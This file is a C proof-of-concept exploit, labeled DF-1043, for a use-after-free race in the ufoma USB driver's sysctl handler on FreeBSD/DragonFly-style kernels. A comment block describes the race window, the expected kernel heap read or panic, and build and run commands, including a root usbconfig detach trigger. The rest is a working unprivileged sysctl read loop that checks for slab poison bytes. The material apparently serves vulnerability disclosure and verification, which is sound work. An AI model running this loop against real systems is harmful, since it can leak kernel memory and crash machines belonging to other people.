DF-1043 / ufoma_uaf.c
/* SPDX-License-Identifier: BSD-2-Clause * DF-1043 PoC: ufoma sysctl sc_modetable use-after-free reader loop. * * Unprivileged process: tight sysctl read loop on dev.ufoma.N.supportmode. * A cooperating privileged trigger (root usbconfig detach, physical unplug, * or USB error forcing port reset) wins the race window between * kfree(sc_modetable) in ufoma_detach and device_sysctl_fini in newbus. * * On a DEBUG/INVARIANTS kernel with slab poisoning, bytes returned from the * sysctl during the race window will contain the poison value (commonly * 0xDE on FreeBSD/DragonFly debug builds) instead of valid mode strings โ * proof that the handler read freed memory. * * On a stock kernel, a successful race can cause: * - kernel heap OOB read (info leak) if the slab was reused with a benign * first byte, or * - kernel panic if the slab's new first byte is >= 0x10 (forces the loop * to read past the 2-252-byte allocation, often hitting an unmapped * page). * * Build: cc -o ufoma_uaf ufoma_uaf.c * Run: ./ufoma_uaf /dev/ufoma0 # unprivileged user * sudo usbconfig -d 0.1 detach # separate shell, triggers the window */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "dev.ufoma.0.supportmode"; size_t pathlen = strlen(path); char buf[256]; size_t buflen; int hits = 0; printf("[+] racing sysctl %s\n", path); for (;;) { buflen = sizeof(buf); if (sysctlbyname(path, buf, &buflen, NULL, 0) != 0) { /* OID removed (device fully gone) โ exit or back off */ usleep(1000); continue; } /* Look for slab poison (0xDE on debug builds) โ proof of UAF. */ for (size_t i = 0; i < buflen; i++) { if ((unsigned char)buf[i] == 0xDE) { hits++; if (hits <= 5) { printf("[!] suspected freed-memory byte (0xDE) " "at offset %zu, total %d\n", i, hits); } break; } } } return 0; } |